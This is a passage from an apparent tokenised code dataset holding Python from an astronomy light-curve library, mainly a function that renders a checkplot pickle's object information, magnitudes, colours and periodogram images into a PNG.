clear.\n\n    unphasedms : float\n        The marker size to use for the main unphased light curve plot symbols.\n\n    phasems : float\n        The marker size to use for the main phased light curve plot symbols.\n\n    phasebinms : float\n        The marker size to use for the binned phased light curve plot symbols.\n\n    xliminsetmode : bool\n        If this is True, the generated phased light curve plot will use the\n        values of `plotxlim` as the main plot x-axis limits (i.e. zoomed-in if\n        `plotxlim` is a range smaller than the full phase range), and will show\n        the full phased light curve plot as an smaller inset. Useful for\n        planetary transit light curves.\n\n    bestperiodhighlight : str or None\n        If not None, this is a str with a matplotlib color specification to use\n        as the background color to highlight the phased light curve plot of the\n        'best' period and epoch combination. If None, no highlight will be\n        applied.\n\n    outfile : str or None\n        The file name of the file to save the checkplot to. If this is None,\n        will write to a file called 'checkplot.png' in the current working\n        directory.\n\n    plotdpi : int\n        Sets the resolution in DPI for PNG plots (default = 100).\n\n    verbose : bool\n        If False, turns off many of the informational messages. Useful for\n        when an external function is driving lots of `checkplot_png` calls.\n\n    Returns\n    -------\n\n    str\n        The file path to the generated checkplot PNG file.", "id": "f14722:m4"}
{"signature": "def checkplot_pickle_to_png(<EOL>checkplotin,<EOL>outfile,<EOL>extrarows=None<EOL>):", "body": "<EOL>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:2>):<EOL><INDENT>if (isinstance(checkplotin, str) and os.path.exists(checkplotin)):<EOL><INDENT>cpd = _read_checkplot_picklefile(checkplotin)<EOL><DEDENT>elif isinstance(checkplotin, dict):<EOL><INDENT>cpd = checkplotin<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(os.path.abspath(checkplotin), type(checkplotin)))<EOL>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if ((isinstance(checkplotin, str) or<EOL>isinstance(checkplotin, unicode)) and<EOL>os.path.exists(checkplotin)):<EOL><INDENT>cpd = _read_checkplot_picklefile(checkplotin)<EOL><DEDENT>elif isinstance(checkplotin,dict):<EOL><INDENT>cpd = checkplotin<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(os.path.abspath(checkplotin), type(checkplotin)))<EOL>return None<EOL><DEDENT><DEDENT>if '<STR_LIT>' in cpd:<EOL><INDENT>cplspmethods = cpd['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cplspmethods = []<EOL>for pfm in METHODSHORTLABELS:<EOL><INDENT>if pfm in cpd:<EOL><INDENT>cplspmethods.append(pfm)<EOL><DEDENT><DEDENT><DEDENT>cprows = len(cplspmethods)<EOL>if '<STR_LIT>' in cpd and cpd['<STR_LIT>'] and len(cpd['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>nbrrows = len(cpd['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>nbrrows = <NUM_LIT:0><EOL><DEDENT>if extrarows and len(extrarows) > <NUM_LIT:0>:<EOL><INDENT>erows = len(extrarows)<EOL><DEDENT>else:<EOL><INDENT>erows = <NUM_LIT:0><EOL><DEDENT>if ('<STR_LIT>' in cpd and<EOL>cpd['<STR_LIT>'] and<EOL>len(cpd['<STR_LIT>']) > <NUM_LIT:0>):<EOL><INDENT>cpderows = len(cpd['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>cpderows = <NUM_LIT:0><EOL><DEDENT>totalwidth = <NUM_LIT><EOL>totalheight = <NUM_LIT> + (cprows + erows + nbrrows + cpderows)*<NUM_LIT><EOL>outimg = Image.new('<STR_LIT>',(totalwidth, totalheight),(<NUM_LIT:255>,<NUM_LIT:255>,<NUM_LIT:255>,<NUM_LIT:255>))<EOL>if cpd['<STR_LIT>']:<EOL><INDENT>finder = Image.open(<EOL>_base64_to_file(cpd['<STR_LIT>'], None, writetostrio=True)<EOL>)<EOL>bigfinder = finder.resize((<NUM_LIT>,<NUM_LIT>), Image.ANTIALIAS)<EOL>outimg.paste(bigfinder,(<NUM_LIT>,<NUM_LIT:20>))<EOL><DEDENT>fontpath = os.path.abspath(<EOL>os.path.join(os.path.dirname(__file__),<EOL>'<STR_LIT:..>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>)<EOL>if os.path.exists(fontpath):<EOL><INDENT>cpfontnormal = ImageFont.truetype(fontpath, <NUM_LIT:20>)<EOL>cpfontlarge = ImageFont.truetype(fontpath, <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>cpfontnormal = ImageFont.load_default()<EOL>cpfontlarge = ImageFont.load_default()<EOL><DEDENT>objinfodraw = ImageDraw.Draw(outimg)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>cpd['<STR_LIT>'] if cpd['<STR_LIT>'] else '<STR_LIT>',<EOL>font=cpfontlarge,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>,<NUM_LIT:255>)<EOL>)<EOL>if '<STR_LIT>' in cpd['<STR_LIT>']:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' % cpd['<STR_LIT>']['<STR_LIT>']<EOL>if cpd['<STR_LIT>']['<STR_LIT>']<EOL>else '<STR_LIT>'),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>if '<STR_LIT>' in cpd['<STR_LIT>']:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' % cpd['<STR_LIT>']['<STR_LIT>']<EOL>if cpd['<STR_LIT>']['<STR_LIT>'] is not None<EOL>else '<STR_LIT>'),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' % cpd['<STR_LIT>']['<STR_LIT>'].size),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>'),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>if '<STR_LIT>' in cpd['<STR_LIT>'] and '<STR_LIT>' in cpd['<STR_LIT>']:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>(('<STR_LIT>' %<EOL>(cpd['<STR_LIT>']['<STR_LIT>'], cpd['<STR_LIT>']['<STR_LIT>']))<EOL>if (cpd['<STR_LIT>']['<STR_LIT>'] is not None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else '<STR_LIT>'),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>'<STR_LIT>',<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>if '<STR_LIT>' in cpd['<STR_LIT>']:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>(('<STR_LIT>' % cpd['<STR_LIT>']['<STR_LIT>'])<EOL>if (cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else '<STR_LIT>'),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>'<STR_LIT>',<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>if '<STR_LIT>' in cpd['<STR_LIT>']:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>(('<STR_LIT>' % cpd['<STR_LIT>']['<STR_LIT>'])<EOL>if (cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else '<STR_LIT>'),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>'<STR_LIT>',<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>if '<STR_LIT>' in cpd['<STR_LIT>']:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT:200>),<EOL>'<STR_LIT>',<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>if len(cpd['<STR_LIT>']['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>for bandind, band, label in zip(<EOL>range(len(cpd['<STR_LIT>']['<STR_LIT>'])),<EOL>cpd['<STR_LIT>']['<STR_LIT>'],<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>):<EOL><INDENT>thisbandmag = cpd['<STR_LIT>'][band]<EOL>if bandind in (<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>thispos = (<NUM_LIT>+<NUM_LIT>*bandind, <NUM_LIT:200>)<EOL>objinfodraw.text(<EOL>thispos,<EOL>'<STR_LIT>' % (label, thisbandmag),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>elif bandind in (<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:8>,<NUM_LIT:9>):<EOL><INDENT>rowbandind = bandind - <NUM_LIT:5><EOL>thispos = (<NUM_LIT>+<NUM_LIT>*rowbandind, <NUM_LIT>)<EOL>objinfodraw.text(<EOL>thispos,<EOL>'<STR_LIT>' % (label, thisbandmag),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>rowbandind = bandind - <NUM_LIT:10><EOL>thispos = (<NUM_LIT>+<NUM_LIT>*rowbandind, <NUM_LIT>)<EOL>objinfodraw.text(<EOL>thispos,<EOL>'<STR_LIT>' % (label, thisbandmag),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>if ('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is True):<EOL><INDENT>deredlabel = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>deredlabel = \"<STR_LIT>\"<EOL><DEDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>'<STR_LIT>' % deredlabel,<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>if len(cpd['<STR_LIT>']['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>for colorind, color, colorlabel in zip(<EOL>range(len(cpd['<STR_LIT>']['<STR_LIT>'])),<EOL>cpd['<STR_LIT>']['<STR_LIT>'],<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>):<EOL><INDENT>thiscolor = cpd['<STR_LIT>'][color]<EOL>if colorind in (<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>thispos = (<NUM_LIT>+<NUM_LIT>*colorind, <NUM_LIT>)<EOL>objinfodraw.text(<EOL>thispos,<EOL>'<STR_LIT>' % (colorlabel, thiscolor),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>elif colorind in (<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:8>,<NUM_LIT:9>):<EOL><INDENT>thisrowind = colorind - <NUM_LIT:5><EOL>thispos = (<NUM_LIT>+<NUM_LIT>*thisrowind, <NUM_LIT>)<EOL>objinfodraw.text(<EOL>thispos,<EOL>'<STR_LIT>' % (colorlabel, thiscolor),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>elif colorind in (<NUM_LIT:10>,<NUM_LIT:11>,<NUM_LIT:12>,<NUM_LIT>,<NUM_LIT>):<EOL><INDENT>thisrowind = colorind - <NUM_LIT:10><EOL>thispos = (<NUM_LIT>+<NUM_LIT>*thisrowind, <NUM_LIT>)<EOL>objinfodraw.text(<EOL>thispos,<EOL>'<STR_LIT>' % (colorlabel, thiscolor),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>thisrowind = colorind - <NUM_LIT:15><EOL>thispos = (<NUM_LIT>+<NUM_LIT>*thisrowind, <NUM_LIT>)<EOL>objinfodraw.text(<EOL>thispos,<EOL>'<STR_LIT>' % (colorlabel, thiscolor),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT:200>),<EOL>('<STR_LIT>'),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT:200>),<EOL>('<STR_LIT>' %<EOL>((cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan),<EOL>(cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan),<EOL>(cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan))),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' %<EOL>((cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan),<EOL>(cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan),<EOL>(cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan))),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' %<EOL>((cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan),<EOL>(cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan))),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>if ('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is True):<EOL><INDENT>deredlabel = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>deredlabel = \"<STR_LIT>\"<EOL><DEDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>'<STR_LIT>' % deredlabel,<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' %<EOL>( (cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan),<EOL>(cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan) )),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' %<EOL>( (cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan),<EOL>(cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan) )),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' %<EOL>( (cpd['<STR_LIT>']['<STR_LIT>'] if<EOL>('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None)<EOL>else npnan),) ),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>if ('<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>']):<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' %<EOL>('<STR_LIT:U+002CU+0020>'.join(cpd['<STR_LIT>']['<STR_LIT>']))),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>if ( ('<STR_LIT>' in cpd['<STR_LIT>']) and<EOL>(cpd['<STR_LIT>']['<STR_LIT>'] is not None) and<EOL>(np.isfinite(cpd['<STR_LIT>']['<STR_LIT>'])) and<EOL>('<STR_LIT>' in cpd['<STR_LIT>']) and<EOL>(cpd['<STR_LIT>']['<STR_LIT>']) ):<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' %<EOL>(cpd['<STR_LIT>']['<STR_LIT>'],<EOL>cpd['<STR_LIT>']['<STR_LIT>'])),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>if ( ('<STR_LIT>' in cpd['<STR_LIT>']) and<EOL>(cpd['<STR_LIT>']['<STR_LIT>'] is not None) and<EOL>(np.isfinite(cpd['<STR_LIT>']['<STR_LIT>'])) and<EOL>('<STR_LIT>' in cpd['<STR_LIT>']) and<EOL>(cpd['<STR_LIT>']['<STR_LIT>'] is not None) and<EOL>(np.isfinite(cpd['<STR_LIT>']['<STR_LIT>'])) ):<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(cpd['<STR_LIT>']['<STR_LIT>'],<EOL>cpd['<STR_LIT>']['<STR_LIT>'])),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>if '<STR_LIT>' in cpd['<STR_LIT>'] and cpd['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>objtagsplit = cpd['<STR_LIT>']['<STR_LIT>'].split('<STR_LIT:U+002C>')<EOL>nobjtaglines = int(np.ceil(len(objtagsplit)/<NUM_LIT>))<EOL>for objtagline in range(nobjtaglines):<EOL><INDENT>objtagslice = '<STR_LIT:U+002C>'.join(objtagsplit[objtagline*<NUM_LIT:3>:objtagline*<NUM_LIT:3>+<NUM_LIT:3>])<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>+objtagline*<NUM_LIT>),<EOL>objtagslice,<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT>, <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:255>)<EOL>)<EOL><DEDENT><DEDENT>objisvar = cpd['<STR_LIT>']['<STR_LIT>']<EOL>if objisvar == '<STR_LIT:0>':<EOL><INDENT>objvarflag = '<STR_LIT>'<EOL><DEDENT>elif objisvar == '<STR_LIT:1>':<EOL><INDENT>objvarflag = '<STR_LIT>'<EOL><DEDENT>elif objisvar == '<STR_LIT:2>':<EOL><INDENT>objvarflag = '<STR_LIT>'<EOL><DEDENT>elif objisvar == '<STR_LIT:3>':<EOL><INDENT>objvarflag = '<STR_LIT>'<EOL><DEDENT>elif objisvar is None:<EOL><INDENT>objvarflag = '<STR_LIT>'<EOL><DEDENT>elif objisvar is True:<EOL><INDENT>objvarflag = '<STR_LIT>'<EOL><DEDENT>elif objisvar is False:<EOL><INDENT>objvarflag = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>objvarflag = '<STR_LIT>' % objisvar<EOL><DEDENT>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>objvarflag,<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' %<EOL>(cpd['<STR_LIT>']['<STR_LIT>']<EOL>if cpd['<STR_LIT>']['<STR_LIT>'] is not None<EOL>else np.nan)),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>),<EOL>('<STR_LIT>' %<EOL>(cpd['<STR_LIT>']['<STR_LIT>']<EOL>if cpd['<STR_LIT>']['<STR_LIT>'] is not None<EOL>else np.nan)),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL>if cpd['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>vartagsplit = cpd['<STR_LIT>']['<STR_LIT>'].split('<STR_LIT:U+002C>')<EOL>nvartaglines = int(np.ceil(len(vartagsplit)/<NUM_LIT>))<EOL>for vartagline in range(nvartaglines):<EOL><INDENT>vartagslice = '<STR_LIT:U+002C>'.join(vartagsplit[vartagline*<NUM_LIT:3>:vartagline*<NUM_LIT:3>+<NUM_LIT:3>])<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>+vartagline*<NUM_LIT>),<EOL>vartagslice,<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT>, <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:255>)<EOL>)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in cpd and cpd['<STR_LIT>']:<EOL><INDENT>commentsplit = cpd['<STR_LIT>'].split('<STR_LIT:U+0020>')<EOL>ncommentlines = int(np.ceil(len(commentsplit)/<NUM_LIT>))<EOL>for commentline in range(ncommentlines):<EOL><INDENT>commentslice = '<STR_LIT:U+0020>'.join(<EOL>commentsplit[commentline*<NUM_LIT:10>:commentline*<NUM_LIT:10>+<NUM_LIT:10>]<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>+commentline*<NUM_LIT>),<EOL>commentslice,<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT><DEDENT>elif '<STR_LIT>' in cpd and cpd['<STR_LIT>']:<EOL><INDENT>commentsplit = cpd['<STR_LIT>'].split('<STR_LIT:U+0020>')<EOL>ncommentlines = int(np.ceil(len(commentsplit)/<NUM_LIT>))<EOL>for commentline in range(ncommentlines):<EOL><INDENT>commentslice = '<STR_LIT:U+0020>'.join(<EOL>commentsplit[commentline*<NUM_LIT:10>:commentline*<NUM_LIT:10>+<NUM_LIT:10>]<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>, <NUM_LIT>+commentline*<NUM_LIT>),<EOL>commentslice,<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT><DEDENT>if (cpd['<STR_LIT>'] and<EOL>'<STR_LIT>' in cpd['<STR_LIT>'] and<EOL>cpd['<STR_LIT>']['<STR_LIT>']):<EOL><INDENT>magseries = Image.open(<EOL>_base64_to_file(cpd['<STR_LIT>']['<STR_LIT>'], None, writetostrio=True)<EOL>)<EOL>outimg.paste(magseries,(<NUM_LIT>*<NUM_LIT:3>,<NUM_LIT:0>))<EOL><DEDENT>elif ('<STR_LIT>' in cpd and isinstance(cpd['<STR_LIT>'],str)):<EOL><INDENT>magseries = Image.open(<EOL>_base64_to_file(cpd['<STR_LIT>'], None, writetostrio=True)<EOL>)<EOL>outimg.paste(magseries,(<NUM_LIT>*<NUM_LIT:3>,<NUM_LIT:0>))<EOL><DEDENT>for lspmethodind, lspmethod in enumerate(cplspmethods):<EOL><INDENT>if (cpd[lspmethod] and cpd[lspmethod]['<STR_LIT>']):<EOL><INDENT>pgram = Image.open(<EOL>_base64_to_file(cpd[lspmethod]['<STR_LIT>'], None,<EOL>writetostrio=True)<EOL>)<EOL>outimg.paste(pgram,(<NUM_LIT:0>,<NUM_LIT> + <NUM_LIT>*lspmethodind))<EOL><DEDENT>if (cpd[lspmethod] and <NUM_LIT:0> in cpd[lspmethod] and cpd[lspmethod][<NUM_LIT:0>]):<EOL><INDENT>plc1 = Image.open(<EOL>_base64_to_file(cpd[lspmethod][<NUM_LIT:0>]['<STR_LIT>'], None,<EOL>writetostrio=True)<EOL>)<EOL>outimg.paste(plc1,(<NUM_LIT>,<NUM_LIT> + <NUM_LIT>*lspmethodind))<EOL><DEDENT>elif (cpd[lspmethod] and '<STR_LIT>' in cpd[lspmethod] and<EOL>isinstance(cpd[lspmethod]['<STR_LIT>']['<STR_LIT>'], str)):<EOL><INDENT>plc1 = Image.open(<EOL>_base64_to_file(cpd[lspmethod]['<STR_LIT>']['<STR_LIT>'], None,<EOL>writetostrio=True)<EOL>)<EOL>outimg.paste(plc1,(<NUM_LIT>,<NUM_LIT> + <NUM_LIT>*lspmethodind))<EOL><DEDENT>if (cpd[lspmethod] and <NUM_LIT:1> in cpd[lspmethod] and cpd[lspmethod][<NUM_LIT:1>]):<EOL><INDENT>plc2 = Image.open(<EOL>_base64_to_file(cpd[lspmethod][<NUM_LIT:1>]['<STR_LIT>'], None,<EOL>writetostrio=True)<EOL>)<EOL>outimg.paste(plc2,(<NUM_LIT>*<NUM_LIT:2>,<NUM_LIT> + <NUM_LIT>*lspmethodind))<EOL><DEDENT>elif (cpd[lspmethod] and '<STR_LIT>' in cpd[lspmethod] and<EOL>isinstance(cpd[lspmethod]['<STR_LIT>']['<STR_LIT>'], str)):<EOL><INDENT>plc2 = Image.open(<EOL>_base64_to_file(cpd[lspmethod]['<STR_LIT>']['<STR_LIT>'], 